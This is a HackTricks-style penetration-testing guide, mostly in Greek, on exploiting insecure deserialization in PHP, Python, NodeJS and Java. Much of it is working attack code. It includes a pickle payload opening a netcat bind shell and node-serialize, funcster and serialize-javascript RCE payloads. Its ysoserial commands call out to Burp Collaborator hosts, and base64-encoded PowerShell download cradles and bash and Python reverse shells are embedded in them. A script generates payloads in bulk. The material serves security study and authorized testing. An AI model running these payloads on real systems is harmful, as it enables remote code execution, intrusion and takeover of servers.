81 KiB
Deserialization
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
Serialization κατανοείται ως η μέθοδος μετατροπής ενός αντικειμένου σε μια μορφή που μπορεί να διατηρηθεί, με σκοπό είτε την αποθήκευση του αντικειμένου είτε τη μετάδοσή του ως μέρος μιας διαδικασίας επικοινωνίας. Αυτή η τεχνική χρησιμοποιείται συνήθως για να διασφαλιστεί ότι το αντικείμενο μπορεί να αναδημιουργηθεί αργότερα, διατηρώντας τη δομή και την κατάσταση του.
Deserialization, αντίθετα, είναι η διαδικασία που αντενδρά στη serialization. Περιλαμβάνει τη λήψη δεδομένων που έχουν δομηθεί σε μια συγκεκριμένη μορφή και την ανακατασκευή τους πίσω σε ένα αντικείμενο.
Η deserialization μπορεί να είναι επικίνδυνη επειδή επιτρέπει στους επιτιθέμενους να χειρίζονται τα serialized δεδομένα για να εκτελέσουν επιβλαβή κώδικα ή να προκαλέσουν απροσδόκητη συμπεριφορά στην εφαρμογή κατά τη διάρκεια της διαδικασίας ανακατασκευής του αντικειμένου.
PHP
Στην PHP, συγκεκριμένες μαγικές μέθοδοι χρησιμοποιούνται κατά τη διάρκεια των διαδικασιών serialization και deserialization:
__sleep
: Καλείται όταν ένα αντικείμενο είναι σε διαδικασία serialization. Αυτή η μέθοδος θα πρέπει να επιστρέφει έναν πίνακα με τα ονόματα όλων των ιδιοτήτων του αντικειμένου που θα πρέπει να serialized. Χρησιμοποιείται συνήθως για να δεσμεύσει εκκρεμή δεδομένα ή να εκτελέσει παρόμοιες εργασίες καθαρισμού.__wakeup
: Καλείται όταν ένα αντικείμενο είναι σε διαδικασία deserialization. Χρησιμοποιείται για να αποκαταστήσει οποιεσδήποτε συνδέσεις βάσης δεδομένων μπορεί να έχουν χαθεί κατά τη διάρκεια της serialization και να εκτελέσει άλλες εργασίες επαναρχικοποίησης.__unserialize
: Αυτή η μέθοδος καλείται αντί της__wakeup
(αν υπάρχει) όταν ένα αντικείμενο είναι σε διαδικασία deserialization. Παρέχει περισσότερη έλεγχο στη διαδικασία deserialization σε σύγκριση με την__wakeup
.__destruct
: Αυτή η μέθοδος καλείται όταν ένα αντικείμενο πρόκειται να καταστραφεί ή όταν το σενάριο τελειώνει. Χρησιμοποιείται συνήθως για εργασίες καθαρισμού, όπως το κλείσιμο χειριστών αρχείων ή συνδέσεων βάσης δεδομένων.__toString
: Αυτή η μέθοδος επιτρέπει σε ένα αντικείμενο να αντιμετωπίζεται ως συμβολοσειρά. Μπορεί να χρησιμοποιηθεί για την ανάγνωση ενός αρχείου ή άλλων εργασιών με βάση τις κλήσεις συναρτήσεων μέσα σε αυτό, παρέχοντας αποτελεσματικά μια κειμενική αναπαράσταση του αντικειμένου.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Αν κοιτάξετε τα αποτελέσματα, μπορείτε να δείτε ότι οι συναρτήσεις __wakeup
και __destruct
καλούνται όταν το αντικείμενο αποδομηθεί. Σημειώστε ότι σε πολλές οδηγίες θα βρείτε ότι η συνάρτηση __toString
καλείται όταν προσπαθείτε να εκτυπώσετε κάποια ιδιότητα, αλλά προφανώς αυτό δεν συμβαίνει πια.
{% hint style="warning" %}
Η μέθοδος __unserialize(array $data)
καλείται αντί για __wakeup()
αν έχει υλοποιηθεί στην κλάση. Σας επιτρέπει να αποδομήσετε το αντικείμενο παρέχοντας τα σειριασμένα δεδομένα ως πίνακα. Μπορείτε να χρησιμοποιήσετε αυτή τη μέθοδο για να αποδομήσετε ιδιότητες και να εκτελέσετε οποιεσδήποτε απαραίτητες εργασίες κατά την αποδόμηση.
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
{% endhint %}
Μπορείτε να διαβάσετε ένα εξηγημένο παράδειγμα PHP εδώ: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, εδώ https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ή εδώ https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
Μπορείτε να εκμεταλλευτείτε τη λειτουργία autoload του PHP για να φορτώσετε αυθαίρετα αρχεία php και περισσότερα:
{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}
Serializing Referenced Values
Αν για κάποιο λόγο θέλετε να σειριοποιήσετε μια τιμή ως αναφορά σε άλλη τιμή που έχει σειριοποιηθεί μπορείτε:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHPGGC (ysoserial for PHP)
PHPGGC μπορεί να σας βοηθήσει να δημιουργήσετε payloads για να εκμεταλλευτείτε τις PHP deserializations.
Σημειώστε ότι σε πολλές περιπτώσεις δεν θα μπορείτε να βρείτε έναν τρόπο να εκμεταλλευτείτε μια deserialization στον πηγαίο κώδικα της εφαρμογής, αλλά μπορεί να μπορείτε να εκμεταλλευτείτε τον κώδικα εξωτερικών PHP επεκτάσεων.
Έτσι, αν μπορείτε, ελέγξτε το phpinfo()
του διακομιστή και αναζητήστε στο διαδίκτυο (ακόμα και στα gadgets του PHPGGC) κάποια πιθανά gadgets που θα μπορούσατε να εκμεταλλευτείτε.
phar:// metadata deserialization
Αν έχετε βρει ένα LFI που απλώς διαβάζει το αρχείο και δεν εκτελεί τον php κώδικα μέσα σε αυτό, για παράδειγμα χρησιμοποιώντας συναρτήσεις όπως file_get_contents(), fopen(), file() ή file_exists(), md5_file(), filemtime() ή filesize(). Μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια deserialization που συμβαίνει όταν διαβάζετε ένα αρχείο χρησιμοποιώντας το phar πρωτόκολλο.
Για περισσότερες πληροφορίες διαβάστε την παρακάτω ανάρτηση:
{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
Python
Pickle
Όταν το αντικείμενο αποσυμπιέζεται, η συνάρτηση __reduce__ θα εκτελεστεί.
Όταν εκμεταλλευτεί, ο διακομιστής μπορεί να επιστρέψει ένα σφάλμα.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Πριν ελέγξετε την τεχνική παράκαμψης, δοκιμάστε να χρησιμοποιήσετε print(base64.b64encode(pickle.dumps(P(),2)))
για να δημιουργήσετε ένα αντικείμενο που είναι συμβατό με python2 αν τρέχετε python3.
Για περισσότερες πληροφορίες σχετικά με την αποφυγή από pickle jails ελέγξτε:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Yaml & jsonpickle
Η παρακάτω σελίδα παρουσιάζει την τεχνική για κατάχρηση μιας μη ασφαλούς αποσυμπίεσης σε yamls βιβλιοθήκες python και τελειώνει με ένα εργαλείο που μπορεί να χρησιμοποιηθεί για να δημιουργήσει RCE deserialization payload για Pickle, PyYAML, jsonpickle και ruamel.yaml:
{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}
Class Pollution (Python Prototype Pollution)
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}
NodeJS
JS Magic Functions
JS δεν έχει "μαγικές" συναρτήσεις όπως PHP ή Python που θα εκτελούνται απλώς για τη δημιουργία ενός αντικειμένου. Αλλά έχει κάποιες συναρτήσεις που είναι συχνά χρησιμοποιούμενες ακόμα και χωρίς να τις καλείτε άμεσα όπως toString
, valueOf
, toJSON
.
Αν καταχραστείτε μια αποσυμπίεση μπορείτε να συμβιβάσετε αυτές τις συναρτήσεις για να εκτελέσετε άλλο κώδικα (πιθανώς καταχρώντας τις μολύνσεις πρωτοτύπου) μπορείτε να εκτελέσετε αυθαίρετο κώδικα όταν καλούνται.
Ένας άλλος "μαγικός" τρόπος για να καλέσετε μια συνάρτηση χωρίς να την καλέσετε άμεσα είναι με το να συμβιβάσετε ένα αντικείμενο που επιστρέφεται από μια async συνάρτηση (υπόσχεση). Διότι, αν μετατρέψετε αυτό το επιστρεφόμενο αντικείμενο σε άλλη υπόσχεση με μια ιδιότητα που ονομάζεται "then" τύπου συνάρτησης, θα εκτελείται απλώς επειδή επιστρέφεται από άλλη υπόσχεση. Ακολουθήστε αυτόν τον σύνδεσμο για περισσότερες πληροφορίες.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}
async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
και prototype
ρύπανση
Αν θέλετε να μάθετε για αυτή την τεχνική ρίξτε μια ματιά στο παρακάτω σεμινάριο:
{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}
node-serialize
Αυτή η βιβλιοθήκη επιτρέπει την σειριοποίηση συναρτήσεων. Παράδειγμα:
var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);
Το σειριοποιημένο αντικείμενο θα φαίνεται όπως:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Μπορείτε να δείτε στο παράδειγμα ότι όταν μια συνάρτηση είναι σειριοποιημένη, η σημαία _$$ND_FUNC$$_
προστίθεται στο σειριοποιημένο αντικείμενο.
Μέσα στο αρχείο node-serialize/lib/serialize.js
μπορείτε να βρείτε την ίδια σημαία και πώς ο κώδικας τη χρησιμοποιεί.
Όπως μπορείτε να δείτε στο τελευταίο κομμάτι κώδικα, αν βρεθεί η σημαία χρησιμοποιείται το eval
για να αποσειριοποιήσει τη συνάρτηση, οπότε βασικά η είσοδος του χρήστη χρησιμοποιείται μέσα στη συνάρτηση eval
.
Ωστόσο, απλά σειριοποιώντας μια συνάρτηση δεν θα την εκτελέσει καθώς θα ήταν απαραίτητο κάποιο μέρος του κώδικα να καλεί το y.rce
στο παράδειγμά μας και αυτό είναι πολύ απίθανο.
Ούτως ή άλλως, θα μπορούσατε απλά να τροποποιήσετε το σειριοποιημένο αντικείμενο προσθέτοντας μερικές παρενθέσεις ώστε να εκτελείται αυτόματα η σειριοποιημένη συνάρτηση όταν το αντικείμενο αποσειριοποιείται.
Στο επόμενο κομμάτι κώδικα προσέξτε την τελευταία παρένθεση και πώς η συνάρτηση unserialize
θα εκτελέσει αυτόματα τον κώδικα:
var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);
Όπως αναφέρθηκε προηγουμένως, αυτή η βιβλιοθήκη θα πάρει τον κώδικα μετά το _$$ND_FUNC$$_
και θα εκτελέσει αυτόν χρησιμοποιώντας eval
. Επομένως, για να αυτοεκτελείται ο κώδικας μπορείτε να διαγράψετε το μέρος δημιουργίας της συνάρτησης και την τελευταία παρένθεση και να εκτελέσετε απλά μια JS oneliner όπως στο παρακάτω παράδειγμα:
var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);
Μπορείτε να βρείτε εδώ περισσότερες πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε αυτήν την ευπάθεια.
funcster
Ένα αξιοσημείωτο χαρακτηριστικό του funcster είναι η απροσβλητότητα των τυπικών ενσωματωμένων αντικειμένων; βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτή η περιοριστική πολιτική αποτρέπει την εκτέλεση κώδικα που προσπαθεί να καλέσει μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως το "ReferenceError: console is not defined"
όταν χρησιμοποιούνται εντολές όπως console.log()
ή require(something)
.
Παρά αυτόν τον περιορισμό, η αποκατάσταση πλήρους πρόσβασης στο παγκόσμιο πλαίσιο, συμπεριλαμβανομένων όλων των τυπικών ενσωματωμένων αντικειμένων, είναι δυνατή μέσω μιας συγκεκριμένης προσέγγισης. Εκμεταλλευόμενοι άμεσα το παγκόσμιο πλαίσιο, μπορεί κανείς να παρακάμψει αυτόν τον περιορισμό. Για παράδειγμα, η πρόσβαση μπορεί να αποκατασταθεί χρησιμοποιώντας το παρακάτω απόσπασμα:
funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)
Για περισσότερες πληροφορίες διαβάστε αυτή την πηγή.
serialize-javascript
Το πακέτο serialize-javascript έχει σχεδιαστεί αποκλειστικά για σκοπούς σειριοποίησης, χωρίς καμία ενσωματωμένη δυνατότητα αποσειριοποίησης. Οι χρήστες είναι υπεύθυνοι για την υλοποίηση της δικής τους μεθόδου αποσειριοποίησης. Μια άμεση χρήση του eval
προτείνεται από το επίσημο παράδειγμα για την αποσειριοποίηση σειριοποιημένων δεδομένων:
function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}
Αν αυτή η συνάρτηση χρησιμοποιείται για να αποδομήσει αντικείμενα, μπορείτε να εκμεταλλευτείτε εύκολα:
var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Για περισσότερες πληροφορίες διαβάστε αυτή την πηγή.
Βιβλιοθήκη Cryo
Στις επόμενες σελίδες μπορείτε να βρείτε πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε αυτή τη βιβλιοθήκη για να εκτελέσετε αυθαίρετες εντολές:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
Στην Java, οι callbacks απο deserialization εκτελούνται κατά τη διαδικασία της deserialization. Αυτή η εκτέλεση μπορεί να εκμεταλλευτεί από επιτιθέμενους που κατασκευάζουν κακόβουλα payloads που ενεργοποιούν αυτές τις callbacks, οδηγώντας σε πιθανή εκτέλεση επιβλαβών ενεργειών.
Δακτυλικά αποτυπώματα
Λευκό Κουτί
Για να εντοπίσετε πιθανές ευπάθειες serialization στον κώδικα, αναζητήστε:
- Κλάσεις που υλοποιούν τη διεπαφή
Serializable
. - Χρήση των συναρτήσεων
java.io.ObjectInputStream
,readObject
,readUnshare
.
Δώστε ιδιαίτερη προσοχή σε:
XMLDecoder
που χρησιμοποιείται με παραμέτρους που ορίζονται από εξωτερικούς χρήστες.- Η μέθοδος
fromXML
τουXStream
, ειδικά αν η έκδοση του XStream είναι μικρότερη ή ίση με 1.46, καθώς είναι ευάλωτη σε ζητήματα serialization. ObjectInputStream
σε συνδυασμό με τη μέθοδοreadObject
.- Υλοποίηση μεθόδων όπως
readObject
,readObjectNodData
,readResolve
, ήreadExternal
. ObjectInputStream.readUnshared
.- Γενική χρήση του
Serializable
.
Μαύρο Κουτί
Για δοκιμές μαύρου κουτιού, αναζητήστε συγκεκριμένες υπογραφές ή "Magic Bytes" που δηλώνουν java serialized objects (προερχόμενα από ObjectInputStream
):
- Εξαδικό μοτίβο:
AC ED 00 05
. - Μοτίβο Base64:
rO0
. - HTTP response headers με
Content-type
ρυθμισμένο σεapplication/x-java-serialized-object
. - Εξαδικό μοτίβο που υποδηλώνει προηγούμενη συμπίεση:
1F 8B 08 00
. - Μοτίβο Base64 που υποδηλώνει προηγούμενη συμπίεση:
H4sIA
. - Ιστοσελίδες με την επέκταση
.faces
και την παράμετροfaces.ViewState
. Η ανακάλυψη αυτών των μοτίβων σε μια διαδικτυακή εφαρμογή θα πρέπει να προκαλέσει μια εξέταση όπως αναφέρεται στην ανάρτηση σχετικά με την Deserialization του Java JSF ViewState.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Έλεγχος αν είναι ευάλωτο
Αν θέλετε να μάθετε πώς λειτουργεί μια εκμετάλλευση Java Deserialized θα πρέπει να ρίξετε μια ματιά σε Basic Java Deserialization, Java DNS Deserialization, και CommonsCollection1 Payload.
Δοκιμή White Box
Μπορείτε να ελέγξετε αν είναι εγκατεστημένη κάποια εφαρμογή με γνωστές ευπάθειες.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Μπορείτε να προσπαθήσετε να ελέγξετε όλες τις βιβλιοθήκες που είναι γνωστό ότι είναι ευάλωτες και ότι το Ysoserial μπορεί να παρέχει μια εκμετάλλευση. Ή μπορείτε να ελέγξετε τις βιβλιοθήκες που αναφέρονται στο Java-Deserialization-Cheat-Sheet.
Μπορείτε επίσης να χρησιμοποιήσετε το gadgetinspector για να αναζητήσετε πιθανές αλυσίδες gadget που μπορούν να εκμεταλλευτούν.
Όταν εκτελείτε το gadgetinspector (μετά την κατασκευή του) μην ανησυχείτε για τους τόνους προειδοποιήσεων/σφαλμάτων που περνάει και αφήστε το να ολοκληρωθεί. Θα γράψει όλα τα ευρήματα κάτω από το gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Παρακαλώ, σημειώστε ότι το gadgetinspector δεν θα δημιουργήσει μια εκμετάλλευση και μπορεί να υποδείξει ψευδώς θετικά αποτελέσματα.
Black Box Test
Χρησιμοποιώντας την επέκταση Burp gadgetprobe μπορείτε να προσδιορίσετε ποια βιβλιοθήκες είναι διαθέσιμες (και ακόμη και τις εκδόσεις τους). Με αυτές τις πληροφορίες θα μπορούσε να είναι ευκολότερο να επιλέξετε ένα payload για να εκμεταλλευτείτε την ευπάθεια.
Διαβάστε αυτό για να μάθετε περισσότερα για το GadgetProbe.
Το GadgetProbe επικεντρώνεται σε ObjectInputStream
deserializations.
Χρησιμοποιώντας την επέκταση Burp Java Deserialization Scanner μπορείτε να εντοπίσετε ευάλωτες βιβλιοθήκες που μπορούν να εκμεταλλευτούν με το ysoserial και να τις εκμεταλλευτείτε.
Διαβάστε αυτό για να μάθετε περισσότερα για το Java Deserialization Scanner.
Ο Java Deserialization Scanner επικεντρώνεται σε ObjectInputStream
deserializations.
Μπορείτε επίσης να χρησιμοποιήσετε το Freddy για να εντοπίσετε ευπάθειες deserialization στο Burp. Αυτό το plugin θα ανιχνεύσει όχι μόνο ευπάθειες σχετικές με το ObjectInputStream
αλλά και ευπάθειες από βιβλιοθήκες deserialization Json και Yml. Σε ενεργό λειτουργία, θα προσπαθήσει να τις επιβεβαιώσει χρησιμοποιώντας payloads sleep ή DNS.
Μπορείτε να βρείτε περισσότερες πληροφορίες για το Freddy εδώ.
Serialization Test
Δεν είναι όλα σχετικά με το να ελέγξετε αν χρησιμοποιείται κάποια ευάλωτη βιβλιοθήκη από τον διακομιστή. Μερικές φορές μπορείτε να αλλάξετε τα δεδομένα μέσα στο serialized object και να παρακάμψετε κάποιους ελέγχους (ίσως να σας δώσει δικαιώματα διαχειριστή μέσα σε μια webapp).
Αν βρείτε ένα java serialized object που αποστέλλεται σε μια web εφαρμογή, μπορείτε να χρησιμοποιήσετε SerializationDumper για να εκτυπώσετε με πιο ανθρώπινα αναγνώσιμη μορφή το serialization object που αποστέλλεται. Γνωρίζοντας ποια δεδομένα στέλνετε θα είναι πιο εύκολο να τα τροποποιήσετε και να παρακάμψετε κάποιους ελέγχους.
Exploit
ysoserial
Το κύριο εργαλείο για την εκμετάλλευση των Java deserializations είναι το ysoserial (κατεβάστε εδώ). Μπορείτε επίσης να εξετάσετε τη χρήση του ysoseral-modified που θα σας επιτρέψει να χρησιμοποιήσετε σύνθετες εντολές (με pipes για παράδειγμα).
Σημειώστε ότι αυτό το εργαλείο είναι εστιασμένο στην εκμετάλλευση του ObjectInputStream
.
Θα ξεκινούσα χρησιμοποιώντας το payload "URLDNS" πριν από ένα RCE payload για να δοκιμάσω αν η ένεση είναι δυνατή. Ούτως ή άλλως, σημειώστε ότι ίσως το payload "URLDNS" να μην λειτουργεί αλλά κάποιο άλλο RCE payload να λειτουργεί.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Όταν δημιουργείτε ένα payload για java.lang.Runtime.exec() δεν μπορείτε να χρησιμοποιήσετε ειδικούς χαρακτήρες όπως ">" ή "|" για να ανακατευθύνετε την έξοδο μιας εκτέλεσης, "$()" για να εκτελέσετε εντολές ή ακόμη και να περάσετε παραμέτρους σε μια εντολή χωρισμένες με κενά (μπορείτε να κάνετε echo -n "hello world"
αλλά δεν μπορείτε να κάνετε python2 -c 'print "Hello world"'
). Για να κωδικοποιήσετε σωστά το payload μπορείτε να χρησιμοποιήσετε αυτή τη σελίδα.
Μη διστάσετε να χρησιμοποιήσετε το επόμενο σενάριο για να δημιουργήσετε όλα τα πιθανά payloads εκτέλεσης κώδικα για Windows και Linux και στη συνέχεια να τα δοκιμάσετε στη ευάλωτη ιστοσελίδα:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Μπορείτε να χρησιμοποιήσετε https://github.com/pwntester/SerialKillerBypassGadgetCollection μαζί με το ysoserial για να δημιουργήσετε περισσότερους εκμεταλλεύσεις. Περισσότερες πληροφορίες σχετικά με αυτό το εργαλείο στις διαφάνειες της ομιλίας όπου παρουσιάστηκε το εργαλείο: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec μπορεί να χρησιμοποιηθεί για να δημιουργήσει payloads για να εκμεταλλευτεί διάφορες Json και Yml βιβλιοθήκες σειριοποίησης στην Java.
Για να κάνω compile το έργο, χρειάστηκε να προσθέσω αυτές τις εξαρτήσεις στο pom.xml
:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Εγκαταστήστε το maven, και συγκεντρώστε το έργο:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Διαβάστε περισσότερα για αυτή τη βιβλιοθήκη Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labs
